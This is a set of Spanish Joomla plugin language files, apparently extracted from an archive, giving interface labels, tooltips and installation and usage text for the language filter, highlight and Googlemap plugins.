PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_LABEL="Eliminar el código URL del idioma" PLG_SYSTEM_LANGUAGEFILTER_OPTION_SESSION="Sesión" PLG_SYSTEM_LANGUAGEFILTER_OPTION_YEAR="Año" PLG_SYSTEM_LANGUAGEFILTER_SITE_LANGUAGE="Idioma del sitio" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="Este plugin filtra el contenido a mostrar dependiendo del idioma.
            El plugin debe habilitarse solo si el módulo 'Selector de idioma' está publicado." PK@y>\hG|-language/es-ES/es-ES.plg_system_highlight.ininuW+A; $Id: es-ES.plg_system_highlight.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SYSTEM_HIGHLIGHT="Sistema - Resaltador" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="Plugin del sistema para resaltar los términos de búsqueda específicos." PK@y>\ҡ5language/es-ES/es-ES.plg_system_plugin_googlemap2.ininuW+A; $Id: es-ES.plg_system_plugin_googlemap2.ini 2011-01-20 00:05:36 ; Created by Tod Normal, website: ; Copyright (C) 2011 Tech Reumer. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLUGIN_GOOGLE_MAPS_INSTALLATION="

            Plugin Googlemap - Un Joomla plugin

            Este plugin es la version 2.13c de el mambot de mapas de google para Joomla 1.5+ y Joomla 1.6.

            Instalación

            Ir al menu Extensiones submenu Gestor de Extensiones (1.6) o menu Extensiones, submenu Instalar/desinstalar (1.5+) en la consola del administrador. Descargue e instale el plugin.
            Entonces vaya al menu Extensiones submenu Gestor de Plugin y publique el Plugin Google Maps (1.5+ o 1.6).

            Después de publicar el plugin vaya a los parametros de el plugin pulsando el boton del raton sobre el nombre del plugin. Aqui puedes ajustar los valores por omision de los parametros y ajustar la Google API key (Pulse aquí para ir por una Google API key)

            Para Joomla 1.5 publique siempre el plugin. Con el parametro extra plugin Publicado puedes ajustar si el mostag debe ser removido o si el mostag es reemplazado con el Googlemap.

            Como usar el plugin dentro del contenido

            Puedes colocar el {mosmap} con parametros en cualquier lugar del contenido de Joomla: texto introductorio o el cuerpo del texto. Puedes ver ejemplos y documentación en mi sitio demo: tech.reumer.net.

            Revisa el html de el item de contenido asi como <br /> o &nbsp; entre { } o en el html un enter.
            El plugin trabaja para una línea! Puede ser una, dos o más para desplegar múltiples, mapas de contenido para diferente localizaciones y configuraciones.

            Uso: {mosmap width='500'\|height='400'\|lat='52.052312'\|lon='4.447141'\|
            zoom='3'\|zoomType='Large'\|zoomNew='0'\|mapType='Satellite'\|showMaptype='1'\|
            overview='0'\|text='sv DWO'\|tooltip='DWO'\|marker='1'\|
            align='center'}
            (remover los retornos de carro entre las líneas o <br /> de forma que sea una sola línea. En segundo lugar, eliminar en Joomla 1.6 la barra '\\' antes del paréntesis )

            Puedes cambiar cualquiera de los parametros:

            width (ancho), height (alto) aunque si lo ajustas demasiado sera demasiado pequeño y podrías no ver mucho.

            lon y lat para las coordenadas y/o direccion para buscar por las coordenadas (use estandar de su país)

            zoom puede ser cualquiera como se específica en el API de Google Maps.

            zoomType, puede ser Small o Large, este controlael tipo de la función de zoom desplegada o None para que no haya control de zoom.

            zoomNew, puede ser 1 para continuo zoom con docleclick y zoom o 0 para un click (por omision esta en 0)

            zoomWheel, puede ser 1 para zoom con la rueda del mouse y 0 para no hacer zoom con la rueda del mouse (por omisión 0)

            mapType puede ser Normal (default), Satellite, Hybrid, Terrain or Earth.

            showMaptype es 0 para que no haya controles de Maptype y 1 muestra dichos controles (por omision 1)

            Overview es 0 para que no se abra una ventana de sobrevista en la esquina inferior derecha y 1 muestra la sobrevista y 2 para la sobrevista habilitada pero cerrada en un principio (por omision 0)

            text es para el marcador, mostrandolo en el mapa como un balón. Si usted no quiere ver el texto, solo ajuste text=" y no lo desplegará, el text es el dato desplegado arribar del pin de la localización. Usualmente podría ser desplegado para mostrar una dirección o enlace. Para un enlace, es posible usar el formato: <a href=linkAddress target=linkTarget title=linkTitle>linkName</a>. No use (double) parentesis!

            marker es para abrir la ventana de informacion (1 por omision) o cerrarla (0) inicialmente.

            dir para adicionar direcciones de forma que se pueda calcular una ruta como en maps.google.com.

            tooltip es para que el marcador tenga un tooltip cuando el raton este sobre la marca (no use HTML)

            icon es el url a un icono para el marcador asi que pueda ser diferente al que utiliza por omision Google

            address es para buscar una direccion por sus coordenadas

            gotoaddr es para un campo de busqueda y boton para que el usuario busque una direccion en el mapa (por omision 0)

            kml es para un url a un kmlfile para cargar una capa sobre el mapas para multiples marcadores en una ruta

            traffic es para mostrar el trafico en una mapa (Solo en USA actualmente)

            align es para la ubicaion del mapa respecto al contenido (left, right, center o none)

            lightbox es para colocar un enlace/boton para una mostrar una caja de luz en el mapa (por omision 0)

            show es para hacer que el mapa se despliegue o no (por omision 1) . Con lightbox sobre el mapa solo aparece el lightbox.

             

            Puedes ajustar la llave en el mosmap tag (opcional) o Multiple urls y keys en los parametros del plugin en el administrador de Joomla. Puedes registrarte para un Google Maps Key aquí.

            " CMN_JAVASCRIPT="JavaScript debe ser habilitado para poder utilizar Mapas de Google.
            Sin embargo, parece que JavaScript está deshabilitado o no soportado por su navegador.
            Para ver Google Maps, habilite JavaScript cambiando las opciones de su navegador y vuelva a intentarlo." ; The fieldsets COM_PLUGINS_GOOGLEMAP_BASIC_FIELDSET_LABEL="Ajustes Generales" COM_PLUGINS_GOOGLEMAP_LOCATION_FIELDSET_LABEL="Ajustes de Localización" COM_PLUGINS_GOOGLEMAP_CONTROL_FIELDSET_LABEL="Ajustes de Control " COM_PLUGINS_GOOGLEMAP_ICON_FIELDSET_LABEL="Ajustes de icono personalizado " COM_PLUGINS_GOOGLEMAP_LAYERS_FIELDSET_LABEL="Ajustes de Capas" COM_PLUGINS_GOOGLEMAP_DIRECTIONS_FIELDSET_LABEL="Ajustes de direcciones" COM_PLUGINS_GOOGLEMAP_LIGHTBOX_FIELDSET_LABEL="Ajustes de Lightbox" COM_PLUGINS_GOOGLEMAP_STREETVIEW_FIELDSET_LABEL="Ajustes de Streetview" COM_PLUGINS_GOOGLEMAP_EARTH_FIELDSET_LABEL="Ajustes plugin Earth" COM_PLUGINS_GOOGLEMAP_KML_FIELDSET_LABEL="Ajustes KML (GeoXML)" COM_PLUGINS_GOOGLEMAP_CUSTOMTILE_FIELDSET_LABEL="Ajustes Personalizacion de Titulos" ; All the parameters GOOGLEMAP_TT_CONFIG_PUBLISHED="Si el componente se publica. Si no, entonces todos los mapas desaparecerá." GOOGLEMAPS_MAPS_DEBUG="Depurar?" GOOGLEMAPS_TT_MAPS_DEBUG="Si el mapa muestra los mensajes de depuración (como comentarios) en el html de la página. Los comentarios que se puede demostrar observando la fuente de la página." GOOGLEMAPS_PLUGINCODE="Codigo del plugin." GOOGLEMAPS_TT_PLUGINCODE="El código que se utiliza para disparar el plugin en un artículo entre {}. Predeterminado mosmap." GOOGLEMAPS_BRACKETS="Llaves" GOOGLEMAPS_TT_BRACKETS="¿Qué soportes se utilizan en todo el código del plugin: {} (por defecto con [] para kml múltiples), [] (con () para kml múltiple) o ambos (() para kml múltiples). [] dará problemas con kml múltiples." GOOGLEMAPS_BRACKETS_BOTH="Ambos {} y []" GOOGLEMAPS_GOOGLEAPIVERSION="Version de API de Google" GOOGLEMAPS_TT_GOOGLEAPIVERSION="La version del API de Google que será usada (2.x última versión, 2.s versión estable y 2.numero con version específica de numero, como 2.76)" GOOGLEMAPS_LOADWITHMOOTOOLS="Cargar con mootools?" GOOGLEMAPS_TT_LOADWITHMOOTOOLS="Si mootools (defecto) debería ser usada para cargar el mapa o un intervalo de tiempo?" GOOGLEMAPS_LOADWITHMOOTOOLSMOOTOOLS="Mootools" GOOGLEMAPS_LOADWITHMOOTOOLSTIMEINTERVAL="Intervalo de tiempo" GOOGLEMAPS_TIMEINTERVAL="Intervalo de Tiempo" GOOGLEMAPS_TT_TIMEINTERVAL="Para mostrar el mapa se hace un intervalo de tiempo en ms que esperar a que la página se carga correctamente (por defecto 500 ms). Especialmente para IE que esto puede evitar que un error grave." GOOGLEMAPS_API_KEY="Googlemaps API Key" GOOGLEMAPS_TT_API_KEY="La clave que se necesita para usar el API de Google." GOOGLEMAPS_MULTI_API_KEY="Googlemaps Multi API Key" GOOGLEMAPS_TT_MULTI_API_KEY="La clave que se necesita para usar el API de Google.
            Con múltiples usted puede agregar sus múltiples dominios para su sitio y detrás de ella la clave. El dominio próximo va en una línea nueva. Por ejemplo: www.yourdomain.com
            ;
            AHKAHGKAOP89 www.yourdomain2.com; JSKLFSD7FSD8F" GOOGLEMAPS_URLWEBSITE="variable URL" GOOGLEMAPS_TT_URLWEBSITE="Use HTTP_HOST (defecto) o ajustes de Joomla" GOOGLEMAPS_URLWEBSITE_JOOMLA="Joomla" GOOGLEMAPS_GOOGLEWEBSITE="Google website" GOOGLEMAPS_TT_GOOGLEWEBSITE="¿Qué sitio web de Google se debe utilizar para geocodificación y direcciones?" GOOGLEMAPS_INDEXING="Indices de Google?" GOOGLEMAPS_TT_INDEXING="Si Google puede indexar su mapa y marcadores (por defecto sí)" GOOGLEMAPS_MAPS_WIDTH="Ancho" GOOGLEMAPS_TT_MAPS_WIDTH="Ancho del mapa. Debes poner las unidades detrás del número como 100% o 400 píxeles" GOOGLEMAPS_MAPS_HEIGHT="Altura" GOOGLEMAPS_TT_MAPS_HEIGHT="Altura del mapa. Debes poner las unidades detrás del número como 100% o 400 píxeles" GOOGLEMAPS_MAPS_LAT="Latitud" GOOGLEMAPS_TT_MAPS_LAT="Latitud predeterminada de un marcador en el mapa." GOOGLEMAPS_MAPS_LNG="Longitud" GOOGLEMAPS_TT_MAPS_LNG="Longitud predeterminada de un marcador en el mapa." GOOGLEMAPS_MAPS_CENTERLAT="Latitud central" GOOGLEMAPS_TT_MAPS_CENTERLAT="Latitud hacia el centro del mapa. Si está vacío, entonces el centro y el zoom de forma automática." GOOGLEMAPS_MAPS_CENTERLNG="Longitud central" GOOGLEMAPS_TT_MAPS_CENTERLNG="Longitud para el centro del mapa. Si está vacío, entonces el centro y el zoom de forma automática." GOOGLEMAPS_MAPS_ADRESS="Dirección" GOOGLEMAPS_TT_MAPS_ADRESS="Dirección para el lugar predeterminado" GOOGLEMAPS_MAPS_ZOOM="Nivel de Zoom" GOOGLEMAPS_TT_MAPS_ZOOM="El nivel de zoom para la primera vista del mapa" GOOGLEMAPS_MAPS_CORZOOM="Correccion de Auto zoom" GOOGLEMAPS_TT_MAPS_CORZOOM="Corrección en favor del zoomlevel cuando el zoom está ajustado automática. Puede ser positivo o negativo" GOOGLEMAPS_MAPS_OVZOOM="Sobrevista del zoomlevel" GOOGLEMAPS_TT_MAPS_OVZOOM="Corrección en favor del zoomlevel de la información general. Diferencia de la zoomlevel del mapa (-3 es por defecto de los mapas de Google)." GOOGLEMAPS_MAPS_MINZOOM="Minimo Zoomlevel" GOOGLEMAPS_TT_MAPS_MINZOOM="El minimo nivel de zoom para el mapa" GOOGLEMAPS_MAPS_MAXZOOM="Maximo Zoomlevel" GOOGLEMAPS_TT_MAPS_MAXZOOM="El maximo nivel de zoom para el mapa" GOOGLEMAPS_MAPS_CONTROLTYPE="Tipo de control" GOOGLEMAPS_TT_MAPS_CONTROLTYPE="El tipo de control puede ser automático (Interfaz de usuario predeterminado maps.google.com) o usuario (definir con parámetros más abajo)." GOOGLEMAPS_MAPS_CONTROLTYPEAUTOMATIC="Automatico" GOOGLEMAPS_MAPS_CONTROLTYPEUSER="Usuario" GOOGLEMAPS_MAPS_MAPCONTROL="Control de Mapa" GOOGLEMAPS_TT_MAPS_MAPCONTROL="El tipo de botón para el zoom en el mapa. Zoomtype puede ser pequeña, grande, grande en 3D, 3D grande con el botón Streetview, 3D pequeño o ninguno para que no haya ZoomControl." GOOGLEMAPS_MAPS_MAPCONTROLLARGE="Grande" GOOGLEMAPS_MAPS_MAPCONTROLSMALL="Pequeño" GOOGLEMAPS_MAPS_MAPCONTROL3DLARGE="3D-Grande" GOOGLEMAPS_MAPS_MAPCONTROL3DSMALL="3D-Pequeño" GOOGLEMAPS_MAPS_MAPCONTROL3DLARGESV="3D-Gran StreetView" GOOGLEMAPS_MAPS_MAPCONTROLNONE="Ninguno" GOOGLEMAPS_MAPS_SVCONTROL="Streetview control" GOOGLEMAPS_TT_MAPS_SVCONTROL="Show streetview control above zoom control (Only Google Maps v3)" GOOGLEMAPS_MAPS_ROTATION="Imágenes de la perspectiva aérea" GOOGLEMAPS_TT_MAPS_ROTATION="Mostrar imágenes perspectiva aérea / vista del pájaro cuando esté disponible" GOOGLEMAPS_MAPS_ZOOMNEW="Haga doble clic y continue el zoom" GOOGLEMAPS_TT_MAPS_ZOOMNEW="Dar doble clic para usar el zoom?" GOOGLEMAPS_MAPS_MOUSEWHEEL="Zoom con la rueda del mouse" GOOGLEMAPS_TT_MAPS_MOUSEWHEEL="Hacer zoom sobre el mapa con la rueda del mouse?" GOOGLEMAPS_MAPS_KEYBOARD="Soporte de Teclado" GOOGLEMAPS_TT_MAPS_KEYBOARD="Soporte de teclado para hacer zoom y paneo." GOOGLEMAPS_MAPS_MAPTYPE="tipo de Mapa" GOOGLEMAPS_TT_MAPS_MAPTYPE="La primera vista del mapa será este tipo. MapType puede ser normal (por defecto), satélite, híbrida, del terreno o de la Tierra." GOOGLEMAPS_MAPS_MAPTYPENORMAL="Normal" GOOGLEMAPS_MAPS_MAPTYPESATELLITE="Satelite" GOOGLEMAPS_MAPS_MAPTYPEHYBRID="Hibrido" GOOGLEMAPS_MAPS_MAPTYPETERRAIN="Terreno" GOOGLEMAPS_MAPS_MAPTYPEEARTH="Tierra" GOOGLEMAPS_MAPS_SHOWMAPTYPE="Mostrar el tipo de mapa?" GOOGLEMAPS_TT_MAPS_SHOWMAPTYPE="Mostrar menu para seleccionar el tipo de mapa?" GOOGLEMAPS_MAPS_SHOWMAPTYPENONE="None" GOOGLEMAPS_MAPS_SHOWMAPTYPEHORZMENU="Horizontal" GOOGLEMAPS_MAPS_SHOWMAPTYPEHIERMENU="Hierarchical" GOOGLEMAPS_MAPS_SHOWMAPTYPEVERTMENU="Vertical" GOOGLEMAPS_MAPS_SHOWNORMAL="Show Normal Maptype" GOOGLEMAPS_MAPS_TT_SHOWNORMAL="Show the button for Normal maptype?" GOOGLEMAPS_MAPS_SHOWSATELLITE="Show Satellite Maptype" GOOGLEMAPS_MAPS_TT_SHOWSATELLITE="Show the button for Satellite maptype?" GOOGLEMAPS_MAPS_SHOWHYBRID="Show Hybrid Maptype" GOOGLEMAPS_MAPS_TT_SHOWHYBRID="Show the button for Hybrid maptype?" GOOGLEMAPS_MAPS_SHOWTERRAIN="Muestra el tipo de mapa terreno" GOOGLEMAPS_MAPS_TT_SHOWTERRAIN="Muestra el boton para el tipo de mapa terreno?" GOOGLEMAPS_MAPS_SHOWEARTH="Mostrar el tipo de mapa Tierra " GOOGLEMAPS_MAPS_TT_SHOWEARTH="Muestra el boton para el tipo de mapa Tierra?" GOOGLEMAPS_MAPS_SCALE="Mostrar escala?" GOOGLEMAPS_TT_MAPS_SCALE="Muestra la barra de escala en el mapa?" GOOGLEMAPS_MAPS_OVERVIEW="Sobrevista" GOOGLEMAPS_TT_MAPS_OVERVIEW="Mostrar una visión pequeña del mapa en la esquina inferior derecha inferior" GOOGLEMAPS_MAPS_OVERVIEWENABLED="Habilitado" GOOGLEMAPS_MAPS_OVERVIEWENABLEDCLOSED="Habilitado cerrado" GOOGLEMAPS_MAPS_OVERVIEWDISABLED="Deshabilitado" GOOGLEMAPS_MAPS_NAVLABEL="Mostrar el nivel de navegación?" GOOGLEMAPS_TT_MAPS_NAVLABEL="Mostrar la etiqueta de navegación para una etiqueta de ruta de navegación dinámica que indica la dirección de la vista actual del mapa" GOOGLEMAPS_MAPS_DRAGGING="Arrastre?" GOOGLEMAPS_TT_MAPS_DRAGGING="Si el visitante puede arrastrar y mover el mapa a otros lugares" GOOGLEMAPS_MAPS_INFOWINDOW="Ventana de Info" GOOGLEMAPS_MAPS_TT_INFOWINDOW="Esta la ventana de info cerrada o abierta inicialmente?" GOOGLEMAPS_MAPS_INFOWINDOWOPEN="Abierta" GOOGLEMAPS_MAPS_INFOWINDOWCLOSED="Cerrada" GOOGLEMAPS_ICONS_IMAGE="Url del icono" GOOGLEMAPS_TT_ICONS_IMAGE="Url de la imagen para el icono. Puede ser absoluta o relativa al sitio" GOOGLEMAPS_ICONS_WIDTH="Ancho del icono" GOOGLEMAPS_TT_ICONS_WIDTH="Ancho del icono en pixeles" GOOGLEMAPS_ICONS_HEIGHT="Altura del Icono " GOOGLEMAPS_TT_ICONS_HEIGHT="Altura del icono en pixeles" GOOGLEMAPS_ICONS_ANCHORX="Ancho x" GOOGLEMAPS_TT_ICONS_ANCHORX="Posición X para identificar la ubicación donde el icono apunta" GOOGLEMAPS_ICONS_ANCHORY="Ancho y" GOOGLEMAPS_TT_ICONS_ANCHORY="Posición Y para identificar la ubicación donde el icono apunta" GOOGLEMAPS_ICONS_SHADOW="Sombra" GOOGLEMAPS_TT_ICONS_SHADOW="Url a la imagen que es la sombra del icono. Puede ser absoluta o relativa al icono" GOOGLEMAPS_ICONS_SHADOWWIDTH="Ancho de la sombra" GOOGLEMAPS_TT_ICONS_SHADOWWIDTH="Ancho de la sombra del icono en pixeles" GOOGLEMAPS_ICONS_SHADOWHEIGHT="Altura de la sombra" GOOGLEMAPS_TT_ICONS_SHADOWHEIGHT="Altura de la sombra del icono en pixeles" GOOGLEMAPS_ICONS_INFOANCHORX="Info ancho X" GOOGLEMAPS_TT_ICONS_INFOANCHORX="Posición X en el icono donde el punto de la ventana de información tiene que ser colocado" GOOGLEMAPS_ICONS_INFOANCHORY="Info ancho Y" GOOGLEMAPS_TT_ICONS_INFOANCHORY="Posición Y en el icono donde el punto de la ventana de información tiene que ser colocado" GOOGLEMAPS_ICONS_TRANSPARANT="Transparente" GOOGLEMAPS_TT_ICONS_TRANSPARANT="Url a la imagen de la trasparencia del icono. Es necesario para hacer click en el icono. Puede ser absoluta o relativa" GOOGLEMAPS_ICONS_IMAGEMAP="Mapa Imagen" GOOGLEMAPS_TT_ICONS_IMAGEMAP="Un mapa de imagen para la imagen de icono para definir los lugares clic." GOOGLEMAPS_MAPS_DIR="Direccionse" GOOGLEMAPS_TT_MAPS_DIR="Si en una ventana de información del formulario de la dirección se agrega y cómo mostrarlo: nueva ventana o pestaña o en una caja de luz o en el mapa sí mismo?" GOOGLEMAPS_MAPS_DIRNONE="No direcciones" GOOGLEMAPS_MAPS_DIREXTERNALGOOGLE="Externo a maps.google.???" GOOGLEMAPS_MAPS_DIREXTERNALDIR="Direcciones Externas" GOOGLEMAPS_MAPS_DIRLIGHTBOX="Direcciones en un Lightbox" GOOGLEMAPS_MAPS_DIRLIGHTBOXGOOGLE="Lightbox maps.google.???" GOOGLEMAPS_MAPS_DIRONMAP="El propio mapa" GOOGLEMAPS_MAPS_DIRTYPE="Tipo de Dirección" GOOGLEMAPS_TT_MAPS_DIRTYPE="Si caminar o conducir debe mostrarse" GOOGLEMAPS_MAPS_DIRTYPEDRIVING="Conducir" GOOGLEMAPS_MAPS_DIRTYPEWALKING="Caminar" GOOGLEMAPS_MAPS_AVOIDHIGHWAYS="Evitar autopistas" GOOGLEMAPS_TT_MAPS_AVOIDHIGHWAYS="Intento de excluir a las autopistas cuando las instrucciones de computación. Tenga en cuenta que todavía puede incluir direcciones carreteras si no hay alternativas viables" GOOGLEMAPS_MAPS_SHOWDIR="Mostrar direcciones" GOOGLEMAPS_TT_MAPS_SHOWDIR="Mostrar o no las indicaciones de la ruta." GOOGLEMAPS_MAPS_ANIMDIR="Animacion de direcciones?" GOOGLEMAPS_TT_MAPS_ANIMDIR="Mostrar animaciones de direcciones con streetview, mapa y información de las rutas? (defecto No)" GOOGLEMAPS_MAPS_ANIMDIRTOP="Streetview Superior" GOOGLEMAPS_MAPS_ANIMDIRBOTTOM="Streetview en el fondo" GOOGLEMAPS_MAPS_ANIMSPEED="Velocidad de la animación" GOOGLEMAPS_TT_MAPS_ANIMSPEED="Velocidad de la animación en segundos. Puede ser 0.5" GOOGLEMAPS_MAPS_ANIMAUTOSTART="Autoinicio de la Animación?" GOOGLEMAPS_TT_MAPS_ANIMAUTOSTART="Comenzar la animación directamente despues de cargar?" GOOGLEMAPS_MAPS_ANIMUNIT="Unidades de la Animación" GOOGLEMAPS_TT_MAPS_ANIMUNIT="Las unidades pueden ser millas o kilometros" GOOGLEMAPS_TT_MAPS_ANIMUNITKILOMETERS="Kilometros" GOOGLEMAPS_TT_MAPS_ANIMUNITMILES="Millas" GOOGLEMAPS_MAPS_FORMSPEED="Forma para la velocidad" GOOGLEMAPS_TT_MAPS_FORMSPEED="Mostrar una forma al usuario para que seleccione la velocidad" GOOGLEMAPS_MAPS_DIRSHOWTYPE="Mostrar los tipos de dirección?" GOOGLEMAPS_TT_MAPS_DIRSHOWTYPE="Mostrar los posibles tipos de dirección (Caminante, evitar autopistas etc.) en infowindow" GOOGLEMAPS_MAPS_FORMADDRESS="Forma para las direcciones" GOOGLEMAPS_TT_MAPS_FORMADDRESS="Mostrar una forma al usuario para que coloque las direcciones de inicio y final de la animación" GOOGLEMAPS_MAPS_LANGANIM="Lenguaje de la animación" GOOGLEMAPS_TT_APS_LANGANIM="Todos los rotulos para la animación" GOOGLEMAPS_MAPS_TRAFFIC="Tráfico" GOOGLEMAPS_TT_MAPS_TRAFIC="Si el tráfico debería ser mostrado en el mapa (solo USA actualmente)?" GOOGLEMAPS_MAPS_PANORAMIO="Panoramio" GOOGLEMAPS_TT_MAPS_PANORAMIO="Si fotos Panoramio deberían ser mostradas en el mapa?" GOOGLEMAPS_MAPS_PANORAMIONO="No Panoramio" GOOGLEMAPS_MAPS_PANORAMIOALL="Panoramio todas" GOOGLEMAPS_MAPS_PANORAMIOPOPULAIR="Panoramio popular" GOOGLEMAPS_MAPS_PANORAMIOTYPE="Tipo de Panoramio" GOOGLEMAPS_TT_MAPS_PANORAMIOTYPE="Esta es una capa diferente para panoramio entonces el anterior. Aquí se puede establecer un identificador de usuario de la propia foto o uso público o total." GOOGLEMAPS_MAPS_PANORAMIOORDER="Orden de Panoramio" GOOGLEMAPS_TT_MAPS_PANORAMIOORDER="El orden de las fotos presentadas" GOOGLEMAPS_MAPS_PANORAMIOORDERPOPULARITY="popularidad" GOOGLEMAPS_MAPS_PANORAMIOORDERUPLOADDATE="fecha de carga" GOOGLEMAPS_MAPS_PANORAMIOMAX="Numero de fotos de Panoramio" GOOGLEMAPS_TT_MAPS_PANORAMIOMAX="El numero maximo de fotos mostradas en un mapa (max 100)" GOOGLEMAPS_MAPS_YOUTUBE="Youtube" GOOGLEMAPS_TT_MAPS_YOUTUBE="Videos de youtube deberían ser mostrados en un mapa?" GOOGLEMAPS_MAPS_WIKI="Wiki" GOOGLEMAPS_TT_MAPS_WIKI="Si artículos de wikipedia deberían ser mostrados en el mapa (defecto ninguno)? Use la extensión del país para seleccionar el lenguaje. Por ejemplo en para org.wikipedia.en" GOOGLEMAPS_MAPS_ADS="Administrador de Publicidad" GOOGLEMAPS_TT_MAPS_ADS="Colocar publicidad de google en el mapa" GOOGLEMAPS_MAPS_ADSMAX="Maxima publicidad" GOOGLEMAPS_TT_MAPS_ADSMAX="Maxima publicidad sobre el mapa" GOOGLEMAPS_MAPS_LOCALSEARCH="Busqueda local" GOOGLEMAPS_TT_MAPS_LOCALSEARCH="La barra de busqueda local debería ser mostrada?" GOOGLEMAPS_ADSENSE="Adsense ID" GOOGLEMAPS_TT_ADSENSE="El ID de Google Adsense como PUB-1234567890" GOOGLEMAPS_MAPS_ADSENSECHANNEL="Canal de Adsense" GOOGLEMAPS_TT_MAPS_ADSENSECHANNEL="El canal que será utilizado para la publicidad" GOOGLEMAPS_MAPS_GOOGLEBAR="Barra de Google" GOOGLEMAPS_TT_MAPS_GOOGLEBAR="La barra de google deberá ser mostrada?" GOOGLEMAPS_MAPS_SEARCHLISTTYPE="Tipo de Lista de Busqueda" GOOGLEMAPS_TT_MAPS_SEARCHLISTTYPE="Puede ser inline (por omision), suppress, div (resultado de la busqueda debajo del mapa) o un nombre de un div (con esta opcion tienes que colocar el div para resultadostu mismo en el artículo)" GOOGLEMAPS_MAPS_SEARCHLINKTARGET="Buscar enlace destino" GOOGLEMAPS_TT_MAPS_SEARCHLINKTARGET="El destino para los enlaces en el resultado de la busqueda" GOOGLEMAPS_MAPS_SEARCHLINKTARGETBLANK="Blanco" GOOGLEMAPS_MAPS_SEARCHLINKTARGETSELF="a si mismo" GOOGLEMAPS_MAPS_SEARCHLINKTARGETTOP="arriba" GOOGLEMAPS_MAPS_SEARCHLINKTARGETPARENT="Pariente" GOOGLEMAPS_MAPS_SEARCHZOOM="Buscar pan&zoom" GOOGLEMAPS_TT_MAPS_SEARCHZOOM="Pan y zoom mostrara resultados y mostrara primero el resultado abierto?" GOOGLEMAPS_MAPS_SEARCHZOOMPANZOOM="Pan & Zoom" GOOGLEMAPS_MAPS_SEARCHZOOMNOZOOM="No pan & Zoom" GOOGLEMAPS_MAPS_TITLEDIR="titulo de las direcciones" GOOGLEMAPS_TT_MAPS_TITLEDIR="El titulo de las direcciones" GOOGLEMAPS_MAPS_BUTTONDIR="Boton de direcciones" GOOGLEMAPS_TT_MAPS_BUTTONDIR="El texto en el boton de direcciones" GOOGLEMAPS_MAPS_TXTFROMDIR="texto desde las direcciones" GOOGLEMAPS_TT_MAPS_TXTFROMDIR="El texto para la opcion desde en el formato de direcciones. Vacio remueve la opcion de la forma (predeterminado vacio)" GOOGLEMAPS_MAPS_TXTTODIR="Texto para direcciones" GOOGLEMAPS_TT_MAPS_TXTTODIR="El texto para la opcion destino en el formato de direcciones. Vacio remueve la opcion de la forma (predeterminado vacio)" GOOGLEMAPS_MAPS_TXTLABELADDR="Texto para el rotulo de direcciones" GOOGLEMAPS_TT_MAPS_TXTLABELADDR="El texto para el campo direccion en el formato de las direcciones" GOOGLEMAPS_MAPS_TXTLABELDRIVING="Texto para el rotulo conducir" GOOGLEMAPS_TT_MAPS_TXTLABELDRIVING="El texto para el grupo de items de conducción. Vacio remueve la opcion de la forma (predeterminado vacio)" GOOGLEMAPS_MAPS_TXTAVOIDHIGHWAYS="Rotulo de texto para evitar autopistas" GOOGLEMAPS_TT_MAPS_TXTAVOIDHIGHWAYS="El texto para el grupo de items de evitar autopistas. Vacio remueve la opcion de la forma (predeterminado vacio)" GOOGLEMAPS_MAPS_TXTWALKING="Rotulo de texto para caminantes" GOOGLEMAPS_TT_MAPS_TXTWALKING="El texto para el grupo de items de caminantes. Vacio remueve la opcion de la forma (predeterminado vacio)" GOOGLEMAPS_MAPS_FROMTODEFAULT="Desde/A predeterminado" GOOGLEMAPS_TT_MAPS_FROMTODEFAULT="Si Desde o A tiene que ser el predeterminado para las direcciones" GOOGLEMAPS_MAPS_FROMTODEFAULTTO="A" GOOGLEMAPS_MAPS_FROMTODEFAULTFROM="Desde" GOOGLEMAPS_MAPS_GOTOADDR="Campo de dirección ir A" GOOGLEMAPS_TT_MAPS_GOTOADDR="Mostrar el campo de direcciones ir a?" GOOGLEMAPS_MAPS_GOTOADDRZOOM="Ir a dirección zoom" GOOGLEMAPS_TT_MAPS_GOTOADDRZOOM="Cuando el usuario entra una dirección se hará zoom a esa dirección de acuerdo a zoomlevel" GOOGLEMAPS_MAPS_TXTADDRESSINFOWINDOW="Texto de ventana informativa de dirección " GOOGLEMAPS_TT_MAPS_TXTADDRESSINFOWINDOW="El texto en la ventana de información. Coloque ## donde quieras entrar la dirección" GOOGLEMAPS_MAPS_ADDRERRTXT="Texto de error de la dirección" GOOGLEMAPS_TT_MAPS_ADDRERRTXT="El texto en la caja de alerta. Coloque ## donde quieras entrar la dirección" GOOGLEMAPS_MAPS_GEOTYPE="Tipo de geocodificación" GOOGLEMAPS_TT_MAPS_GEOTYPE="Debería el normal geocódigo ser usado en el servidoro busqueda local sobre el cliente" GOOGLEMAPS_MAPS_GEOTYPE_GOOGLE="Google Geocoder" GOOGLEMAPS_MAPS_GEOTYPE_LOCAL="Busqueda Local" GOOGLEMAPS_MAPS_ALIGN="Alineación" GOOGLEMAPS_TT_MAPS_ALIGN="Como el mapa debería estar alineado dentro del contenido (objecto pariente html)" GOOGLEMAPS_MAPS_ALIGNLEFT="Izquierda" GOOGLEMAPS_MAPS_ALIGNRIGHT="Derecha" GOOGLEMAPS_MAPS_ALIGNCENTER="Centro" GOOGLEMAPS_MAPS_ALIGNNONE="Ninguno" GOOGLEMAPS_LANGUAGE_OPTION="Opción de lenguaje" GOOGLEMAPS_TT_LANGUAGE_OPTION="Si el lenguaje de los mapas (botones, tips de herramientas) debería ser deteminado por:
            sitio - lenguaje del sitio
            usuario - lenguaje del navegador/localización
